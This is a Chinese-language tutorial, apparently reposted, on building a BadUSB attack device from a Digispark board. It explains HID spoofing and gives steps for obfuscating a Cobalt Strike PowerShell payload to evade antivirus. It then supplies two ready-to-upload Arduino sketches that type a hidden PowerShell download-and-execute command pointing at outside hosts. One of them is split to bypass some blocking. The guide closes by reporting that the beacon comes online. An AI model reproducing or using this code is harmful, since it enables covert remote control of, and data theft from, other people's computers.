badusb


​badusb介紹   

BadUSB是利用偽造HID設備執行攻擊載荷的一種攻擊方式。HID(Human InterfaceDevice)設備通常指的就是鍵盤鼠標等與人交互的設備,用戶插入BadUSB,就會自動執行預置在固件中的惡意代碼。

BadUsb插入后,會模擬鍵盤鼠標對電腦進行操作,通過這些操作打開電腦的命令終端,並執行一條命令,這條命令將從指定網址下載其他代碼並於后台靜默運行。這些代碼功能包括:竊取信息、反彈shell、發送郵件等,從而實現控制目標機或者竊取信息的目的。

惡意代碼存在於U盤的固件中,PC上的殺毒軟件無法訪問到U盤存放固件的區域,因此也就意味着殺毒軟件和U盤格式化都無法防御BadUSB的攻擊。

badusb原理

主機是通過設備固件中的某些描述符來判斷USB哪種設備的。這就意味着我們可以利用此漏洞將一些特殊的USB設備偽裝成為其他任何設備,例如輸入設備、網卡等等。

當插入USB設備后,主機驅動會向設備請求各種描述符來識別設備,為了把一個設備識別成HID類別,設備固件在定義描述符的時候必須遵守HID規約。

構成:

  • 普通U盤一般都是由閃存(FLASH)和主控(MCU)構成,主控主要負責控制數據讀寫任務分配,閃存的話一般有一部分用來存放u盤固件(無法直接讀取),其它部分用來進行讀寫和存儲。
  • BadUsb就是利用對u盤固件進行重新編程,將虛擬鍵盤輸入轉為協議約定的字節指令集成進固件中,讓主機將usb識別為一塊鍵盤,並執行事先編寫好的虛擬鍵盤輸入。

利用

CS馬

使用Invoke-Obfuscation編碼,簡單做一下免殺:

進入Invoke-Obfuscation目錄后,在PowerShell中執行命令

set scriptpath C:\Users\86153\Desktop\payload.ps1

encoding

6

out C:\Users\86153\Desktop\payload1.ps1

badusb環境

  • 安裝Arduino IDE

https://downloads.arduino.cc/arduino-1.8.16-windows.zip

下載完成后解壓,打開exe

點擊文件->首選項

在附加開發版管理器網址處添加 http://digistump.com/package_digistump_index.json

在工具->開發板:"Arduino Leonardo"->開發板管理器

找到 digistump avr boards進行下載

之后再開發板處選擇digispark(default-16.5mhz)

  • 安裝驅動使用digistump drivers

鏈接:http://pan.baidu.com/s/1i4K10dn 密碼:ilaf

如果是 64 位操作系統請選擇 DPinst64.exe,否則選擇 DPinst.exe.

至此環境配置結束

badusb制作

將代碼貼至Arduino點擊上傳

#include "DigiKeyboard.h"
#define KEY_ESC     41
#define KEY_BACKSPACE 42
#define KEY_TAB     43
#define KEY_PRT_SCR 70
#define KEY_DELETE  76


void setup() {
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.111.252/payload.ps1');"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);

}

void loop() {

}

或者將打開powershell和執行命令分開(可以繞過一些攔截)

# include "DigiKeyboard.h"
# define KEY_ESC     41
# define KEY_BACKSPACE 42
# define KEY_TAB     43
# define KEY_PRT_SCR 70
# define KEY_DELETE  76

void setup() {

DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(750);
DigiKeyboard.print(F("powershell"))
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.print(F("IEX(New-Object Net.WebClient).DownloadString('http://123.207.101.205:8000/cs.ps1');"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);

}
void loop() {
}

出現如下圖,插上我們准備的badusb

直至出現thank you,此時我們的badusb就已經做好了

測試

插上badusb后發現我們的cs上線

 

 

參考

https://www.freebuf.com/articles/system/292358.html

https://www.cnblogs.com/qianxiao996/p/13574566.html

https://mp.weixin.qq.com/s/UROx1fJOmMVbmH_-UasFEQ


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM